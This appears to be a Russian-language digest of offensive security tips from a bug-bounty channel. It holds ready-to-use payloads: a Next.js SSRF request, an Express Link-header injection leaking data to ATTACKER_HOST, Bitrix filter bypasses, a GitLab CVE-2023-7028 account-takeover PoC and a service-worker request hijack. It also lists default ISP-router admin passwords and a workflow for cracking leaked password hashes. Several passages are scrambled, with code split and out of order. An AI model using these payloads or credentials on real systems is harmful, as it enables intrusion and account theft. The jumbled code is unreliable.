Что опасного в публичном отображении phpinfo?
Сдаешь такой в багбаунти, а тебе говорят, ну где импакт, CVSS 2.6?
А ты такой, ну смотри какой импакт:
- Дает узнать о конфигурации PHP, в том числе о версии, установленных модулях, путях к файлам и т.д. Что поможет эксплуатировать другие уязвимости.
- Раскрывается информация о реальном расположении серверов (если они скрыты за anti-DDOS или CDN)
- Отдельно стоит отметить, что в эпоху этих ваших docker-compose, иногда в нем раскрывается чувствительная информация в переменных окружения (рили видел креды от базы в ENV)
- Помогает эксплуатировать всякие LFI 2 RCE
- Секция с Cookie раскрывает ВСЕ ПЕЧЕНЬЯ, поэтому позволит украсть их, даже если они HTTPOnly
Я что-то забыл?
>
#OSINT #SSH
Вспомнил тут про старый трюк, можно тестануть:ssh whoami.filippo.io
Короч, когда ты подключаешься по ssh, твой ssh-agent перебирает всеми ключами, которые у тебя в него подключены.
Это может привести к прикольной деанонимизации, если на стороне сервера включено логирование ssh ключей, которыми пытались подключиться.
Ключики можно собирать как на гитхабе:
https://github.com/Oleg.keys
Так и на гитлабе:
https://gitlab.com/Nikita.keys
Всякие энтузиасты собирают собственные базы забавы ради, думаю есть и те, которые делают это для расследований инцидентов после компрометации и вот этого всего.
[1], [2], [3]
>
Короч, чтоб тебя всякие shodan, censys и прочие умники не сканировали, а еще и не попадать под их поисковую выдачу, рекомендую такой дефолтный конфиг для nginx:
>
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl http2 default_server;
listen [::] 443 ssl http2 default_server;
ssl_reject_handshake on;
server_name _;
location / {
return 444;
}
}
Че тут делаем?
Слушаем 80 и 443 на ipv4 и ipv6.
Для 443 откланяем все операции SSL handshake, если имя сервера отлично от тех, что есть в других конфигах.
И если соединие установить удалось (и для 80 порта) - рвем соединение (ответ 444 обладает такой фичей).
#OpenAPI #Swagger
Короч, в extentions для burp suite есть OpenAPI Parser, это штука, которая позволяет брать всякие swagger.json, превращать их в запросы, сканить и вот это все.
Какая с ним проблема. Он не умеет работать с третьей спекой. Валится и все тут.
Выход - сконвертировать в OAS 2.0
У меня был огромный swagger и классический editor.swagger.io не смог его прожувать и вкладка зависала.
Но есть замечательный API Spec Converter, суем в него спеку 3 версии, конвертим в 2, загружаем в burp.
Единственное, в json надо добавить
"host": "api.someshit.io",
"basePath": "/",
"schemes": [
"https",
"http"
],
Есть такая штука nextjs
, несколько месяцев назад они добавили новую "фишку" распределение нагрузки - под капотом поднимается несколько микросервисов. Каждый из которых занимается своей частью обработки запроса. Работает все примерно так-же как и обычный прокси сервер, запрос приходит, обрабатывается, и через стороннюю библиотеку проксируется на другой порт.
Собственно именно это место нас и интересует.
В HTTP
есть такой метод PRI
(используются, если мне не изменяет память, чтобы проверить возможность HTTP/2
подключения). Нас интересует что запросы этого метода имеют cимвол *
в пути, вместо привычного /
.
PRI * HTTP/1.1.Далее, все http-парcеры работают по разному, у
nodejs
он немного особенный, и url вида http://example.com:3456*@127.0.0.1:8080
будет разобран как: hostname
: 127.0.0.1
, port
: 8080
, auth
: example.com:3456*
,nodejs
считает валидными запросы вида:GET *@127.0.0.1/ HTTP/1.1А знаете кто еще так делает - haproxy!
Host: somehost
nextjs
выглядит так:const targetUrl = `http://${Собственно, т.к. мы контролируем
targetHost === 'localhost' ? '127.0.0.1' : targetHost
}:${routerPort}${pathname}`
pathname
- мы можем отправить запрос вида:GET *@127.0.0.1:11211 HTTP/1.1и запрос уйдет напрямую в memcached, получаем SSRF.
Host: some
>= 13.3.0 | <=13.4.12
фича проксирования включена по умолчанию, она так же включается если установлен флаг appDir: true
в конфигурации experimental
.13.4.13
изменили код. Теперь в части внутренних запросов используется fetch
. Что дает некоторую защиту, т.к. fetch не принимает запросы содержащие авторизацию.Роскомнадзор будет блокировать сайты с информацией об обходе блокировок
А пока не блокирует - просили рассказать))
Короч, сижу в инсте. Бесило, что нужно постоянно подрубать vpn, когда нужно зайти в инсту. И отрубать, когда заходишь в банк, доставку еды и прочие госуслуги.
Берем московскую виртуалку (юзаю selectel), ставим на неё zapret - это аналог GoodbyeDPI под linux.
Ну там нужно сначала запустить install, потом сделать чек через blockcheck.sh, лично я тестил на instagram.com. После чего поставить обход блокировки, который подходит для текущего провайдера.
Сверху поставил изичный wireguard
Качаешь прилку wireguard, цепляешься к своему серверу, наслаждаешься.
Что имеем:
* защищенное (over TLS) соединение - можно юзать публичные wifi с минимизацией риска MITM
* рос-четтам-надзор не блокирует wireguard соединения в рамках РФ
* открываются всякие фэйсбуки инстаграмы
* открываются банки и госуслуги
>
Интересный вектор Client-Side атаки
Многие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки.
Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже.
Потому что links внутри express написана так:
res.links = function(links){
var link = this.get('Link') || '';
if (link) link += ', ';
return this.set('Link', link + Object.keys(links).map(function(rel){
return '<' + links[rel] + '>; rel="' + rel + '"';
}).join(', '));
};
https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",
Так что полный чейн выглядит так:#bitrix #php
В PHP точки, пробелы и "[" в именах запросов автоматически переименовываются в нижнее подчеркивание. А "+" в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF.
Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр:/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin
/
если кто-то предусмотрел такую возможность, то можно поиграть с следующими именами:/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/
/pewpew/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/
/pewpew/?SEF
.APPLICATION%20CUR+PAGE[URL=/bitrix/admin/
PoC
>
Роутер от провайдера
Для меня было откровением, когда я подключил интернет, сменил дефолтный пароль от админа, а оказалось, что есть еще "суперадмин".
В моем случае, в роутере от МГТС, был следующий root:mgts;mtsoao
На Ростелекоме (в частности, на роутерах от huawei), бывают следующие пары логинов и паролей:telecomadmin;admintelecom
telecomadmin;NWTF5x%RaK8mVbD
telecomadmin;NWTF5x%
telecomadmin;nE7jA%5m
В nginx есть забавный заголовок - X-Accel-Redirect
Служит для доступа к internal локейшенам для внутреннего перенаправления запросов от веб-сервера к backend-серверу, в частности, используется для эффективной отдачи файлов юзерам.
Короч, это позволяет использовать nginx как прокси-сервер для статических файлов (освобождает его ресурсы и повышает производительность).
В Apache и lighttpd есть подобный X-Sendfile
Если в какой-то атаке, например в CRLF мы сможем его контролировать, то эту фичу можно использовать как обход закрытых директорий или как выход из директории.
Инфа и примеры: тыц, тыц, тыц, тыц, тыц
Снова про #1С
Как пишут в документации: "Внешние обработки представляют собой обработки, которые не входят в состав прикладного решения и хранятся в отдельных файлах с расширением *. epf.".
Так же пишут: "В режиме 1С:Предприятие внешнюю обработку можно запустить на выполнение, открыв ее как любой другой файл, хранящийся на диске."
В правом верхнем углу нажимаем на "бутерброд" -> Файл -> Открыть.
Выбираем наш epf и жмём "ок".
Но только 1С может быть не только под Windows, но и под Linux. Поэтому в коллекцию еще один шелл, который универсальный и под любую операционную систему.
>
#bitrix
Карочи, в админку в битриксе иногда можно зайти просто зарегистрировавшись.
Но у многих кнопка регистрации вовсе отсутствует, но это не мешает вызвать стандартные формы:
/auth/?register=yes
/crm/?register=yes
/auth/oauth2/?register=yes
/bitrix/wizards/bitrix/demo/public_files/ru/auth/index.php?register=yes
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/index.php
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/news_list.php?register=yes
/bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/subscr_edit.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/personal/profile/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/board/my/index.php?register=yes
#electron
Через XSS или открытие стороннего url (контролируемый атакующим), можно записать стрим с экрана, камеры, аудио.
Даже висит ишью, https://github.com/electron/electron/issues/19017.
Основная проблема в том, что в электроне всевозможные пермишены включены по умолчанию. Это значит что можно вызывать navigator.getUserMedia для доступа к устройствам записи аудио/видео.
Для изменения этой ситуации есть специальный метод, setPermissionRequestHandler, но еще не видел, что бы кто-то из разработчиков этим озаботился.
Единственная защита которую многие используют, это запрет на изменения location в текущем окне. Но часто забывают про изменения location во всплывающих окнах. Так же никто не застрахован от xss или использования кастомной схемы. В эту же кучу попадают приложения разрешающие использовать и делиться js-кодом. (Aka Postman)
PoC
Другие настройки:
- для записи видео с камеры: const constraints = {audio: false, video: true};
- для записи микрофона:const constraints = {audio: true, video: false};
rsvgёb
Есть librsvg — либа в целом надежная, написана на rust. Она парсит svg и умеет их рендерить в png.
Особенность в том, что в svg можно встраивать обычные растровые изображения (через <image xlink:href="data:...>). Для их парсинга там используется либа libgdk-pixbuf, она написана на C.
libgdk-pixbuf умеет поточно читать изображения и из-за этого есть баг: если изображение не совсем до конца дописано, то часть буфера с данными останется неинициализированным, а ошибки настоящей иногда не происходят. В результате при парсинге svg в превьюху может попасть память приложения. Чем-то похожа на gifoёb.
Эксплойт прилагается.
>
#api #params #tool
Помимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.
Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.
public class User {Чтобы правильно и эффективно находить такие вещи, нам нужен подход или утилита. Самые известные вот эти две: Param Miner и Arjun
private String userid;
private String password;
private String email;
private boolean isAdmin;
}
/?param1=test¶m2=test&...¶m500=test
Проблема здесь заключается в том, что многие серверы будут отдавать 414 URI Too Long, либо банально игнорировать последние 200 параметров. Таким образом, даже если в вашем текстовом файле есть нужный параметр — он не будет найден.HTTP/1.1 200 OKКак видно из примера, строка которая содержит время, исключена и помечена как динамическая.
Content-Length: 18
<html>
- Time 13:36:23
<id="test">
HTTP/1.1 200 OKЗдесь x8 понимает, что параметр найден из-за изменений в теге id.
Content-Length: 37
<html>
- Time 13:37:48
+ <id="admin_param">
x8 -u "https://example.com/" -w <wordlist>
Читать полностью…
#owncloud
Для owncloud была классная CVE-2023-49105
Сплоет реализован в качестве прокси, которая подписывает запросы и можно через нее ходить на dav://
, используя клиент Filezilla, Cyberduck, короч кто-что юзает.
Сначала ставим ten, запускаем проксю, но не наслаждаемся.
Потому что из коробки сплоет у меня не завелся, клиенты, видимо, не могут корректно распарсить ответ.
А я просто вывел ответ от прокси через print(response.text)
, и собрал список файлов. Сами файлы можно получать уже через curl/wget/браузер, так как для скачивания файлов достаточно GET запроса.
Типа wget
localhost:8800/remote.php/dav/files/admin/Report.7z
Быстро чекнуть уязвимый ли owncloud можно через другую CVE-2023-49103:/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/webpwn.css
Если открылся phpinfo() - то, скорее всего, систему не обновляли, а эти CVE'шки вышли рядом.
>
В дискуссии спросили, ну чего опасного в том, что есть XSS на поддомене без юзеров. Допустим, есть у нас site.kek
, а ты нашел уязвимость на subdomain.site.kek
Что может дать XSS на поддомене, где обычный одностраничный лэндинг, нет никаких данных пользователя?
Штош, импакт такой:
- Не только лишь все знают, что поддомен может ставить куки, в том числе на главный сайт (а точнее на весь скоуп, включая другие поддомены), а это может помочь при эксплуатировании других атак, например фиксацию сессии. Или вспомнить про отказ в обслуживании aka cookie bomb
- CORS на других сайтах компании, в том числе сам site.kek
может принимать Origin: subdomain.site.kek
, а это значит можно выполнять действия от лица пользователя.
- В дополнение к предыдущему - обходится механизм SameSite
- Старый добрый фишинг, если нет дизайна для регистрации или входа - ее можно нарисовать.
Может что-то еще?
>
#firebase
Короч. Встречали firebase на страницах? Обычно это подключение js-ника и конфиг вида
firebase.initializeApp({
apiKey: "VHkgcGlkb3IpMDAwKSkpKSkpKSk=",
authDomain: "blablabla"
...
});
Доступ в двойную кавычку
Подключи подписку - и получи доступ к контенту раньше, чем будет его публикация, к щепотке уникального контента и чату без цензуры.
Твой вклад помогает развивать этот канал и делать его лучше 💣
Быстро и дешево брутим хэши
Короч, есть чуваки такие, immers.cloud
По сути это хостинг с арендой видеокарт. А так как я занимался проектом passleak.ru, иногда нужно было разгадывать хэшики, решил не покупать под это оборудование. Вышло круто.
Тут есть два варианта развития событий.
Арендуем видеокарту (какую - по желанию, они там выкатили какие-то ультра-модные H100, но мне и 2080 часто хватает), грузим туда наши хэши, делаем что-то типа:
sudo apt-get update
sudo apt-get install gcc make tmux git mesa-common-dev cmake nvidia-cuda-toolkit build-essential unzip -y
https://ru.download.nvidia.com/XFree86/Linux-x86_64/470.63.01/NVIDIA-Linux-x86_64-470.63.01.run
chmod +x NVIDIA-Linux-x86_64-470.63.01.run
sudo ./NVIDIA-Linux-x86_64-470.63.01.run
Устанавливаем hashcat и играемся с этим всем.
Но если нам нужно побрутить пароли по словарям, способ еще круче. Берем готовый образ Ubuntu + Hashcat + Weakpass 3, на диске будет лежать архив с Weakpass V3. Запускаем и прогоняем хэши, забираем то что сбрутилось, вырубаем машину.
Например, чтоб раскукожить пароли из дампа Linkedin - мне потребовалось рублей... 20?
В общем, круто держать под рукой чтобы быстро сбрутить какой-то хэшик.
>
#gitlab
Забавная логическая уязвимость в Gitlab - CVE-2023-7028
Можно переопределить почту в механизме восстановления пароля, передав специально сформированный запрос, в котором в нулевом элементе массива будет валидный email, а в следующем - злоумышленника.
PoC:user[email][]=valid@email.com&user[email][]=attacker@email.com
Для проверки фактов компрометации систем предлагается оценить в логе gitlab-rails/production_json.log
наличие HTTP-запросов к обработчику /users/password с указанием массива из нескольких email в параметре "`params.value.email`". Также предлагается проверить наличие в логе gitlab-rails/audit_json.log
записей со значением PasswordsController#create
в meta.caller.id
и указанием массива из нескольких адресов в блоке target_details
. Атака не может быть доведена до конца при включении пользователем двухфакторной аутентификации.
Проблема проявляется начиная с выпуска GitLab 16.1.0, в котором появилась возможность отправки кода восстановления пароля на неверифицированный запасной email-адрес.
>
Короч, Apache Dubbo — это такая штука, которая часто используется для хайлоада, рядом. Разработчики говорят, что умеет помимо RPC еще и в WEB, поэтому давайте на нем делать микросервисы, но я особо их не видел (может не популярный в СНГ). А еще на минуточку, это один из самых популярных проектов на github (~40k звезд на момент написания).
Порт 28080, полезен сам по себе, так как через него можно посмотреть все классы и методы, и часто даёт RCE. Например из последнего CVE-2023-23638, или чуть старее.
>
Метод TRACE
Помимо GET, POST, etc - есть еще и метод трассировки TRACE. Если пользуетесь burp'ом, он вам его подсветит, так как бага старше большиства багхантеров.
Что дает? Дает посмотреть весь HTTP запрос на сервере, в котором могут быть и секретные секреты, как например ключи пользователя или какие-то уникальные uuid для интеграции, x-forwarded-for и прочие служебные заголовки. Но не всегда.
Но не так давно прочитал забавности, что метод можно переопределить черезGET /path.html?_method=TRACE HTTP/1.1
или заголовок_method: TRACE
>
/var/run/docker.sock
Видишь docker.sock - можно поиграть в пост-эксплуатацию, выполняя команды. Вот пример монтирования файловой системы и выполнения реверс-шелла.
Есть такая штука для хайлоада - MinIO
Объектное хранилище с открытым исходным кодом на Go.
Забавно, как POST запрос на ручку /minio/bootstrap/v1/verify
раскрывает его секреты.
Бага прогремела (CVE-2023-28432) в Китае (вот разбор), а у нас чет не встречал, пока сам не наткнулся.
#bitrix 🚨🚨🚨
Уязвимость модуля landing системы управления содержимым сайтов (CMS) 1С-Битрикс: Управление, позволяющая нарушителю выполнить команды ОС на уязвимом узле, получить контроль над ресурсами и проникнуть во внутреннюю сеть.
Bitrix > 23.850.0
RCE, CVSS 10/10
Удаляем модуль landing, если не используется. Обновляем до версии 23.850.0 и выше, если используется.
BDU:2023-05857
Че, пацаны, анимэ?
HTTP Request Splitting vulnerabilities exploitation c конференции offzone.
Еще раз о нюансах использования $uri в конфигах nginx с примерами эксплуатации.
Первый кейс эксплуатации такого миссконфига в mail.yandex.ru, где через похожую на CSRF-атаку украли весь запрос с фронтенда (включая куки жертвы) записав их подпись письма - в самое сердечко, просто потрясающе!
Memcache классный, потому что находится на порту 11211 и работает как по TCP, так и по UDP. И часто забывают закрыть именно UDP порт.
До того как это стало мейнстримом, и его начали юзать для амплификации в DDoS атаках, раза три сдавал в багбаунти MailRu.
Ценность/импакт - это key-value база данных, часто кэшируют данные юзеров, в том числе сессии, пароли.
Юзаю этот дампер, скорее всего на гитхабе уже есть кайфовее.
>
Ценная штука - actuator.
Как правило, ценность в зависимости от того, что в нем находится:/actuator/env
- показывает переменные окружения, при отправке POST запроса (в виде JSON, если Spring Boot 2), умеет в RCE или утечку данных./actuator/heapdump
- моментальный снимок памяти процесса, разумеется с чувствительной информацией, такой как креды подключения или чьи-то сессии или sql запросы/actuator/jolokia
- роут для управления Jolokia через HTTP, смотреть в jolokia-exploitation-toolkit/actuator/gateway
- позволяет писать свои роуты к actuator’у, эксплуатируя как SSRF, так и RCE
[1], [2], [3]
Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует как кэш в твоем браузере, а кто-то, наверное, всякие гадости делает?
Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть chrome://serviceworker-internals/
. Если ты активный пользователь интернета, будешь неприятно удивлен
Например, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега <script>
, то вернется alert()
.
Надо разместить куда-то serviceworker.js (на имя пофиг).
self.addEventListener('fetch', event => {
if(event.request.url.endsWith('.js'))
event.respondWith(new Response('alert()'));
});
<script>navigator.serviceWorker.register(‘serviceworker.js')</script>
self.addEventListener('fetch', event => {
const url = '/api/user';
if(event.request.url.endsWith('/intercept'))
event.respondWith(fetch(url, {
method : 'POST',
mode : 'no-cors',
credentials: 'include'
}));
});
<script src=/intercept></script>
, будет содержимое POST-запроса